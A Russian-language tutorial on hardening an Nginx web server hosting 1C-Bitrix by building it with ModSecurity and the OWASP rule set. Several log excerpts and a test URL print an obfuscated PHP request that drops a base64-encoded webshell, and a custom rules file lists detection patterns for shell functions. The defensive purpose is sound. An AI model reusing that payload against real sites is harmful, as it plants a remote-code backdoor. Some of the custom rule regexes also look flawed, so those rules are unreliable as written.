Защита веб-сервера с помощью WAF

Настраиваем WAF и ModSecurity для Nginx

Если вы читаете эту статью, значит вы, как и многие из администраторов веб-серверов, внезапно столкнулись с проблемой несанкционированного доступа к исходным файлам вашего сайта, или сразу нескольких сайтов. Перед вами стоит задача, для начала, понять, что именно произошло, а затем — как именно это произошло.

Последствия такого доступа могут быть разными, но безобидными эти последствия не назовёшь. В итоге с вашего сервера, например, может рассылаться спам от имени вашего домена, а еще злоумышленник может просто напакостить вам, подложив во все каталоги сайта файлик .htaccess, запрещающий доступ внутрь для всех. Если ваш сайт работает на CMS, скорее всего, это происходит через файл index.php в корне сайта. Злоумышленник может добавить до исходного кода этого файла вредоносный код, который будет, например, выполнять множественные редиректы пользователя вообще непонятно куда.

О целях и задачах подобного рода вредоносных атак мы можем только гадать. Зачем это делается? Ну, кто ж его знает. Иногда это может быть и банальная обида предыдущего сисадмина на вашего работодателя. И, например, зная о том, что сайты компании работают на прекрасной CMS 1С-Битрикс, «обиженка» может просто пакостить, пользуясь общеизвестными уязвимостями этой CMS.

Да, конечно же, в той же CMS 1С-Битрикс есть, по заявлениям разработчиков, собственный WAF (Web Application Firewall), есть и собственный модуль проактивной защиты, в журнале которого вы сможете увидеть предотвращенные попытки вредоносных атак. Но здесь вы будете видеть лишь те попытки атак, которые Битрикс смог и распознать, и предотвратить.

И тут вы должны для себя чётко понять, что не следует пренебрегать понятием «Систематическая ошибка выжившего». Хорошо, что мы можем изучить журнал вторжений в Битриксе, где фиксируются распознанные атаки. А что делать с теми, которые Битрикс не сумел распознать? Они в этот журнал не попадают. К тому же, нужно понимать, что если Битрикс распознал вредоносную атаку, значит она прошла примерно следующий путь: файрволл ОС → ядро ОС → nginxapache (если работает как бэкенд для nginx) → интерпретатор PHPMySQL. Зачем пускать вредоносный трафик по всей этой цепочке, если его можно остановить ещё на «входе»? Конечно же, файрволлом все вредоносные IP мира не заблокируешь. Но анализировать трафик мы, всё же, можем.

Симптомы неприятностей

Если вы уже столкнулись с последствиями таких вредоносных атак, значит вы уже, возможно, знаете, как произошла атака. А если еще не знаете, её «следы» могут выглядеть так:

89.169.15.216 - - [20/May/2025:13:43:02 +0300] "GET /ajax/error_log_logic.php?data=%3C?php%20fIle_puT_CoNtEnTS($_SERVER[%22DOCUMENT_ROOT%22].%22/ajax/d2e79ff595e4.php%22,BASe64_DEcoDE(%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22));unlink($_SERVER[%22DOCUMENT_ROOT%22].%22/ajax/js_error.txt%22);?%3E HTTP/1.1" 404 36654 "https://domain.ru/" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2659.78 Safari/537.36"
89.169.15.216 - - [20/May/2025:13:43:08 +0300] "GET /ajax/js_error.php?data=%3C?php%20fIle_Put_cOnTeNTS($_SERVER[%22DOCUMENT_ROOT%22].%22/ajax/d2e79ff595e4.php%22,BaSe64_dEcOde(%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22));unlink($_SERVER[%22DOCUMENT_ROOT%22].%22/ajax/js_error.txt%22);?%3E HTTP/1.1" 404 36655 "https://domain.ru/ajax/error_log_logic.php?data=%3C?php%20fIle_puT_CoNtEnTS($_SERVER[%22DOCUMENT_ROOT%22].%22/ajax/d2e79ff595e4.php%22,BASe64_DEcoDE(%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22));unlink($_SERVER[%22DOCUMENT_ROOT%22].%22/ajax/js_error.txt%22);?%3E" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2659.78 Safari/537.36"

Если внимательно присмотреться к логам, можно увидеть следующие попытки от злоумышленника:

  • вызов PHP-функции file_put_contents();
  • вызов функции base64_decode();
  • обфусцированный код, передаваемый функции base64_decode().

К чему приведёт подобное? Можно только догадываться. Но ни к чему хорошему не приведёт точно. Рано или поздно злоумышленник нащупает и пробьет слабое место вашего веб-сервера. А вам останется только разгребать последствия. И хорошо, если у вас имеются резервные копии ваших сайтов и баз данных.

Если ваш веб-сервер не настроен на правильный возврат ошибки 404, у вас проблемы. Как разрабатывается сайт на CMS 1С-Битрикс в 95% случаев:
  • находится так называемый разработчик сайтов на Битриксе;
  • он предоставляет на выбор пару готовых визуальных шаблонов для Битрикса;
  • после выбора нужного шаблона ваш сайт тупо «натягивается» на его, извините, скелет;
  • заказчик доволен;
  • разработчик доволен;
  • PROFIT!!!
Никто не ставил задачу научить CMS Битрикс правильно отвечать на запрос несуществующих страниц или документов. Поэтому Битрикс полноценно обрабатывает и отвечает на любые запросы к веб-серверу.

Обезопасить ваш веб-сервер можно с помощью ModSecurity для вашего Nginx.

Веб-сервер с нужным набором ПО

Для чистоты эксперимента мы создадим виртуальную машину на Ubuntu Server 22.04. На этой виртуальной машине стандартным методом через apt установлены: Nginx, Apache, PHP 8.2 FPM, MariaDB, Postfix. На один из виртуальных хостов была установлена скачанная с сайта продукта CMS 1С-Битрикс в редакции Стандарт. Сайт был запущен на локальном домене www.waf.lezh.loc.

Мастер установки CMS предложил на выбор два шаблона. Мы выбрали один из них. После всех проверок работоспособности, включения различных инструментов защиты просто попробовали перейти по ссылке такого вида: https://www.waf.lezh.loc/ajax/error_log_logic.php?data=%3C?php%20fIle_puT_CoNtEnTS($_SERVER[%22DOCUMENT_ROOT%22].%22/ajax/d2e79ff595e4.php%22,BASe64_DEcoDE(%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22));unlink($_SERVER[%22DOCUMENT_ROOT%22].%22/ajax/js_error.txt%22);?%3E. И вот, что мы увидели на экране монитора...

И что мы видим? А ничего. Никакого каталога /ajax/ в корне сайта не существует. Запрос к серверу явно несанкционированный. Но мы не видим страницу ошибки 404. Нам, зачем-то, показали страницу карты сайта. Ни в журнале событий, ни в журнале вторжений ничего нет. А что в логах веб-сервера? Вот что.

Да, в логах код ответа 404. Но это access-лог Apache. Запрос прошел через ядро CMS, не был зафиксирован как вредоносный, и успешно вернул ответ. Это плохо. Эту ситуацию мы будем исправлять.

Пересборка Nginx

Для того, чтобы ModSecurity работал эффективно, нам придётся собрать Nginx из исходников. Версия 1.18, доступная в репозитории, не полностью поддерживает всё то, что нам нужно. Переходим от слов к делу. Работаем с Ubuntu Server 22.04 через терминал.

1. Сохраняем нынешний nginx.

Во избежание неприятностей сохраним весь каталог.

# Делаем резервную копию
sudo cp -r /etc/nginx /etc/nginx.backup

# Останавливаем nginx
sudo systemctl stop nginx

# Убедимся в том, что nginx остановлен
sudo ps aux | grep nginx

# Убить оставшиеся процессы
sudo pkill -9 nginx

2. Установка необходимых зависимостей.

sudo apt update && sudo apt install -y 
    git \
    curl \
    build-essential \
    libpcre3 \
    libpcre3-dev \
    zlib1g-dev \
    libssl-dev \
    libtool \
    autoconf \
    automake \
    pkg-config \
    libpcre2-dev \
    libcurl4-openssl-dev \
    libxml2-dev

3. Скачиваем, собираем и устанавливаем ModSecurity v3.

# Переходим в каталог на диске
cd /usr/local/src

# Клонируем репозиторий ModSecurity
git clone https://github.com/SpiderLabs/ModSecurity 

# Переходим в каталог репозитория
cd ModSecurity 

# Переключаемся на нужную ветку
git checkout v3/master 

# Устанавливаем требуемые модули
git submodule init && git submodule update 

# Запускаем скрипт
./build.sh 

# Запускаем конфигуратор
./configure --enable-static-link 

# Собираем приложение
make -j$(nproc) 

# Устанавливаем ModSecurity
sudo make install

4. Скачиваем и устанавливаем модуль ModSecurity для Nginx.

# Переходим в каталог на диске
cd /usr/local/src 

# Клониируем репозиторий модуля
git clone https://github.com/SpiderLabs/ModSecurity-nginx.git

5. Нужно просмотреть, какие модули nginx были установлены в системе.

nginx -V 2>&1 | grep 'configure arguments:'

# Должны получить примерно следующее
configure arguments: --with-cc-opt='-g -O2 -ffile-prefix-map=/build/nginx-niToSo/nginx-1.18.0=. -flto=auto -ffat-lto-objects -flto=auto -ffat-lto-objects -fstack-protector-strong -Wformat -Werror=format-security -fPIC -Wdate-time -D_FORTIFY_SOURCE=2' --with-ld-opt='-Wl,-Bsymbolic-functions -flto=auto -ffat-lto-objects -flto=auto -Wl,-z,relro -Wl,-z,now -fPIC' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-compat --with-debug --with-pcre-jit --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --add-dynamic-module=/build/nginx-niToSo/nginx-1.18.0/debian/modules/http-geoip2 --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module

6. Скачиваем свежую версию Nginx.

# Переходим в каталог на диске
cd /usr/local/src

# Скачиваем доступную версию. Можно заменить на актуальную на момент прочтения
wget https://nginx.org/download/nginx-1.26.3.tar.gz 

# Распаковываем архив
tar -zxvf nginx-1.26.3.tar.gz

# Переходим в каталог с исходниками
cd nginx-1.26.3

7. Конфигурируем Nginx с нужными модулями.

./configure \
    --prefix=/usr/share/nginx \
    --sbin-path=/usr/sbin/nginx \
    --conf-path=/etc/nginx/nginx.conf \
    --error-log-path=/var/log/nginx/error.log \
    --http-log-path=/var/log/nginx/access.log \
    --pid-path=/run/nginx.pid \
    --lock-path=/var/lock/nginx.lock \
    --user=www-data \
    --group=www-data \
    --modules-path=/usr/lib/nginx/modules \
    --http-client-body-temp-path=/var/lib/nginx/body \
    --http-fastcgi-temp-path=/var/lib/nginx/fastcgi \
    --http-proxy-temp-path=/var/lib/nginx/proxy \
    --http-scgi-temp-path=/var/lib/nginx/scgi \
    --http-uwsgi-temp-path=/var/lib/nginx/uwsgi \
    --with-http_ssl_module \
    --with-http_stub_status_module \
    --with-http_realip_module \
    --with-http_auth_request_module \
    --with-http_v2_module \
    --with-http_dav_module \
    --with-http_slice_module \
    --with-threads \
    --with-http_addition_module \
    --with-http_gunzip_module \
    --with-http_gzip_static_module \
    --with-http_sub_module \
    --add-module=../ModSecurity-nginx

8. Собираем, устанавливаем Nginx.

make -j$(nproc)
sudo make install

9. Проверяем версию и модули Nginx.

# Версия
sudo /usr/sbin/nginx -v

# Должны увидеть что-то такое
nginx version: nginx/1.26.3

# модули
sudo /usr/sbin/nginx -V

# Должны увидеть примерно следующее
nginx version: nginx/1.26.3
built by gcc 11.4.0 (Ubuntu 11.4.0-1ubuntu1~22.04)
built with OpenSSL 3.0.2 15 Mar 2022
TLS SNI support enabled
configure arguments: --prefix=/usr/share/nginx --sbin-path=/usr/sbin/nginx --conf-path=/etc/nginx/nginx.conf --error-log-path=/var/log/nginx/error.log --http-log-path=/var/log/nginx/access.log --pid-path=/run/nginx.pid --lock-path=/var/lock/nginx.lock --user=www-data --group=www-data --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --add-module=../ModSecurity-nginx

10. Скачиваем OWASP Core Rule Set (CRS).

# Создаем каталог для ModSecurity в каталоге nginx
mkdir /etc/nginx/modsec

# Переходим в каталог
cd /etc/nginx/modsec

# Клонируем репозиторий
git clone https://github.com/coreruleset/coreruleset.git  owasp-crs

# Переходим в каталог репозитория
cd owasp-crs

# Копируем основной файл конфигурации набора правил
sudo cp crs-setup.conf.example crs-setup.conf

# Переименовываем примеры правил в файлы конфигураций
for f in rules/*.conf.example; do cp "$f" "${f%.example}"; done

11. Пробуем запустить nginx.

sudo systemctl start nginx

# Скорее всего, вы получите следующее
Job for nginx.service failed because the control process exited with error code.
See "systemctl status nginx.service" and "journalctl -xeu nginx.service" for details.

# Заглядываем в журнал
systemctl status nginx

# И видим примерно такое
× nginx.service - A high performance web server and a reverse proxy server
     Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
     Active: failed (Result: exit-code) since Thu 2025-06-17 23:03:08 MSK; 5s ago
       Docs: man:nginx(8)
    Process: 3389769 ExecStartPre=/usr/sbin/nginx -t -q -g daemon on; master_process on; (code=exited, status=1/FAILURE)
        CPU: 13ms

Jun 12 23:03:08 waf.lezh.loc systemd[1]: Starting A high performance web server and a reverse proxy server...
Jun 12 23:03:08 waf.lezh.loc nginx[3389769]: nginx: [emerg] module "/usr/share/nginx/modules/ngx_http_geoip2_module.so" version 1018000 instead of 1026003 in /etc/nginx/modules-enabled/50-mod-http-g>
Jun 12 23:03:08 waf.lezh.loc nginx[3389769]: nginx: configuration file /etc/nginx/nginx.conf test failed
Jun 12 23:03:08 waf.lezh.loc systemd[1]: nginx.service: Control process exited, code=exited, status=1/FAILURE
Jun 12 23:03:08 waf.lezh.loc systemd[1]: nginx.service: Failed with result 'exit-code'.
Jun 12 23:03:08 waf.lezh.loc systemd[1]: Failed to start A high performance web server and a reverse proxy server.

Это происходит из-за того, что модули были установлены для другой версии Nginx. Переходим в каталог активных модулей nginx, которые там остались ещё после установки через apt.

# Переходим в каталог подключенных модулей nginx
cd /etc/nginx/modules-enabled

# Открываем каждый из них, и комментируем внутри строки вроде:
load_module modules/ngx_http_geoip2_module.so;

# Запускаем nginx
sudo systemctl start nginx

# Проверяем его работу
sudo systemctl status nginx
● nginx.service - A high performance web server and a reverse proxy server
     Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
     Active: active (running) since Thu 2025-06-17 23:08:40 MSK; 4s ago
       Docs: man:nginx(8)
    Process: 3390065 ExecStartPre=/usr/sbin/nginx -t -q -g daemon on; master_process on; (code=exited, status=0/SUCCESS)
    Process: 3390066 ExecStart=/usr/sbin/nginx -g daemon on; master_process on; (code=exited, status=0/SUCCESS)
   Main PID: 3390067 (nginx)
      Tasks: 3 (limit: 3430)
     Memory: 8.7M
        CPU: 210ms
     CGroup: /system.slice/nginx.service
             ├─3390067 "nginx: master process /usr/sbin/nginx -g daemon on; master_process on;"
             ├─3390068 "nginx: worker process" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" ""
             └─3390069 "nginx: worker process" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" ""

Если видите ошибку вроде:

nginx: [warn] the "listen ... http2" directive is deprecated, use the "http2" directive instead

В новых версиях Nginx директива http2 должна использоваться иначе. Необходимо заменить в конфигурационных файлах виртуальных хостов, или в других местах, где задана конфигурация сервера.

# Находим секции server, в которых написано так
server {
    listen 443 ssl http2;
    ...
}

# Заменяем их на такую запись
server {
    listen 443 ssl;
    http2 on;
}

12. Убедимся в том, что и ModSecurity установлен.

ls -la /usr/local/modsecurity/lib/

# Должны увидеть примерно следующее
total 263096
drwxr-xr-x 3 root root      4096 Jun 17 22:49 .
drwxr-xr-x 5 root root      4096 Jun 17 22:49 ..
-rw-r--r-- 1 root root 213764924 Jun 17 22:49 libmodsecurity.a
-rwxr-xr-x 1 root root      1016 Jun 17 22:49 libmodsecurity.la
lrwxrwxrwx 1 root root        24 Jun 17 22:49 libmodsecurity.so -> libmodsecurity.so.3.0.14
lrwxrwxrwx 1 root root        24 Jun 17 22:49 libmodsecurity.so.3 -> libmodsecurity.so.3.0.14
-rwxr-xr-x 1 root root  55617488 Jun 17 22:49 libmodsecurity.so.3.0.14
drwxr-xr-x 2 root root      4096 Jun 17 22:49 pkgconfig

13. Подготавливаем каталог для хранения логов ModSecurity.

# Создаем каталог
sudo mkdir -p /var/log/modsecurity

# Меняем владельца для созданного каталога
sudo chown -R www-data:www-data /var/log/modsecurity/

# Создаём И переходим в каталог ModSecurity внутри каталога Nginx
sudo mkdir -p /etc/nginx/modsec && cd /etc/nginx/modsec

Здесь же создаем директорию для подключения файлов с общими правилами. Это пригодится обязательно, особенно, тем, у кого множество виртуальных хостов.

mkdir ./includes

# Здесь же создаем первый конфигурационный файл ModSecurity для первого виртуального хоста
sudo nano ./waf.lezh.loc-rules.conf

Записываем в этот файл такое содержимое:

# Test site for WAF

SecRuleEngine On
SecAuditEngine RelevantOnly
SecAuditLogRelevantStatus "^(?:5|4(?!04))"

SecRequestBodyAccess On
SecResponseBodyAccess Off

SecAuditLogParts ABIJDEFHZ
SecAuditLog /var/log/modsecurity/waf.lezh.loc_audit.log
SecDebugLog /var/log/modsecurity/waf.lezh.loc_debug.log
SecDebugLogLevel 9

# Certbot
Include /etc/nginx/modsec/includes/certbot.conf

# Исключение: поисковые боты
Include /etc/nginx/modsec/includes/allow-bots.conf

# Подключаем общие правила блокировки
Include /etc/nginx/modsec/includes/deny-common.conf

# Блокировка по IP
SecRule REMOTE_ADDR "@ipMatchFromFile /etc/nginx/modsec/ip_blacklist.txt" \
    "id:1007,\
    phase:1,\
    deny,status:403,\
    msg:'IP from blacklist',\
    tag:'blacklisted',\
    log,auditlog"


# Подключаем OWASP Core Rule Set (CRS)
Include /etc/nginx/modsec/owasp-crs/crs-setup.conf
Include /etc/nginx/modsec/owasp-crs/rules/*.conf
Обратите внимание на параметр SecDebugLogLevel, значение которого установлено в 9. Это значение позволит вам просмотреть debug-лог работы ModSecurity. Когда посчитаете нужным, установите это значение в 3, чтобы запись лишнего debug-лога не велась.
Если не указать параметр SecAuditLogRelevantStatus "^(?:5|4(?!04))", вы можете столкнуться с проблемой «У меня ничего не работает».

Очевидно, что требуется создать еще несколько файлов: ip_blacklist.txt, includes/certbot.conf, includes/allow-bots.conf и includes/deny-common.conf.

sudo touch /etc/nginx/modsec/ip_blacklist.txt

В файл ip_blacklist.txt можно помещать адреса, которым доступ к веб-серверу будет закрыт перманентно.

Файл /etc/nginx/modsec/includes/certbot.conf

# === Разрешаем Let's Encrypt certbot  ===

SecRule REQUEST_URI "^/.well-known/.*/?$" \
    "id:700001,\
    phase:1,\
    pass,\
    nolog,\
    ctl:ruleEngine=off"

Файл /etc/nginx/modsec/includes/allow-bots.conf

# === Разрешаем легитимных ботов ===

# Googlebot, YandexBot, Bingbot, Baiduspider и другие

SecRule REQUEST_HEADERS:User-Agent "(Googlebot|YandexBot|Bingbot|Baiduspider)" \
    "id:800001,\
    phase:1,\
    pass,\
    nolog,\
    ctl:ruleEngine=off"

Файл /etc/nginx/modsec/includes/deny-common.conf

# === БЛОКИРУЮЩИЕ ПРАВИЛА (общие) ===

# Блокировка eval(, base64_decode(, ARRAY=
SecRule ARGS|ARGS_NAMES|REQUEST_HEADERS|REQUEST_URI "(eval$|base64_decode$|ARRAY=)" \
    "id:1001,\
    phase:2,\
    deny,status:403,\
    msg:'Malicious PHP function attempt',\
    tag:'attack-shell',\
    log,auditlog"

# Блокировка POST к шеллам вроде /inputs.php
SecRule REQUEST_METHOD "POST" \
    "chain,id:1002,phase:2,t:none,deny,status:403,msg:'Suspicious POST to shell',log,auditlog"
    SecRule REQUEST_URI "/inputs\.php|/ee16d48af3\.php|/0e[0-9a-f]{8}\.php"

# Блокировка CONNECT/TRACE/DEBUG методов
SecRule REQUEST_METHOD "^(CONNECT|TRACE|TRACK|DEBUG)$" \
    "id:1003,\
    phase:1,\
    deny,status:405,\
    msg:'Disallowed HTTP method',\
    tag:'http-method',\
    log,auditlog"

# Блокировка длинных URI (часто используются в шеллах)
SecRule REQUEST_URI "@rx ^.{1024}" \
    "id:1004,\
    phase:1,\
    deny,status:403,\
    msg:'URI too long - possible obfuscation',\
    tag:'obfuscation',\
    log,auditlog"

# Блокировка большого количества GET-параметров
SecRule ARGS_NAMES "@gt 50" \
    "id:1005,\
    phase:2,\
    deny,status:403,\
    msg:'Too many GET args - possible shell',\
    tag:'shell-detection',\
    log,auditlog"

13. Конфигурации виртуального хоста.

# Открываем файл конфигурации виртуального хоста
sudo mcedit /etc/nginx/sites-enabled/waf.lezh.loc

Ключевые изменения здесь — добавление двух новых директив: modsecurity on; и modsecurity_rules_file /путь/к_файлу_правил.

server {

    listen 80;

    server_name waf.lezh.loc www.waf.lezh.loc;

    access_log /var/www/lezh.loc/__waf/logs/nginx.access.log;
    error_log  /var/www/lezh.loc/__waf/logs/nginx.error.log;

    if ($host = waf.lezh.loc) {
        return 301 https://www.waf.lezh.loc$request_uri;
    }

    return 301 https://$host$request_uri;

}

server {

    listen 443 ssl;

    http2 on;

    server_name waf.lezh.loc;

    ssl_certificate     /var/www/lezh.loc/__waf/ssl/fullchain.pem;
    ssl_certificate_key /var/www/lezh.loc/__waf/ssl/privkey.pem;

    return 301 https://www.waf.lezh.loc$request_uri;

}

server {

    listen 443 ssl;

    http2 on;

    modsecurity on;

    server_name www.waf.lezh.loc;

    access_log /var/www/lezh.loc/__waf/logs/nginx.access-ssl.log;
    error_log  /var/www/lezh.loc/__waf/logs/nginx.error-ssl.log;

    ssl_certificate     /var/www/lezh.loc/__waf/ssl/fullchain.pem;
    ssl_certificate_key /var/www/lezh.loc/__waf/ssl/privkey.pem;

    root /var/www/lezh.loc/__waf/www;

    index       index.php;

    add_header X-Content-Type-Options nosniff;

    client_max_body_size 256M;

    location / {
        modsecurity_rules_file /etc/nginx/modsec/waf.lezh.loc-rules.conf;
        try_files $uri/ =404 @proxy_to_apache;
    }

    location ~* \.(jpg|jpeg|png|gif|ico|css|js|svg|woff|ttf|eot|pdf)$ {
        access_log off;
        expires 30d;
        add_header Cache-Control public;
        try_files $uri @proxy_to_apache;
    }

    location @proxy_to_apache {
        proxy_pass https://127.0.0.1:8443;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_connect_timeout 120;
        proxy_read_timeout 120;
    }
}

Теперь можно перезапустить nginx, чтобы проверить работу ModSecurity.

sudo systemctl restart nginx
Nginx требуется перезапускать именно с помощью restart, а не reload. Команда sudo systemctl reload nginx, конечно же, перезапустит веб-сервер, и, даже, сохранит активные соединения, но из-за специфики работы служб с файлами логов, запись в файлы журналов audit- и debug-логов будет прервана до полного перезапуска службы.

Теперь любой запрос страниц сайта будет попадать в debug-лог. Но нам же нужно проверить способность ModSecurity противостоять вредоносному коду. Попробуем ещё раз перейти по тому самому подозрительному URL: https://www.waf.lezh.loc/ajax/error_log_logic.php?data=%3C?php%20fIle_puT_CoNtEnTS($_SERVER[%22DOCUMENT_ROOT%22].%22/ajax/d2e79ff595e4.php%22,BASe64_DEcoDE(%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22));unlink($_SERVER[%22DOCUMENT_ROOT%22].%22/ajax/js_error.txt%22);?%3E

А что у нас в аудит-логе ModSecurity для этого сайта? Давайте заглянем

---bwtyMgHr---A--
[17/Jun/2025:21:07:13 +0300] 175018363359.287835 10.15.17.32 65042 10.15.17.12 443
---bwtyMgHr---B--
GET /ajax/error_log_logic.php?data=%3C?php%20fIle_puT_CoNtEnTS($_SERVER[%22DOCUMENT_ROOT%22].%22/ajax/d2e79ff595e4.php%22,BASe64_DEcoDE(%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22));unlink($_SERVER[%22DOCUMENT_ROOT%22].%22/ajax/js_error.txt%22);?%3E HTTP/2.0
sec-fetch-user: ?1
sec-ch-ua: "Google Chrome";v="137", "Chromium";v="137", "Not/A)Brand";v="24"
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
sec-fetch-site: none
sec-ch-ua-platform: "Windows"
upgrade-insecure-requests: 1
sec-ch-ua-mobile: ?0
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
sec-fetch-dest: document
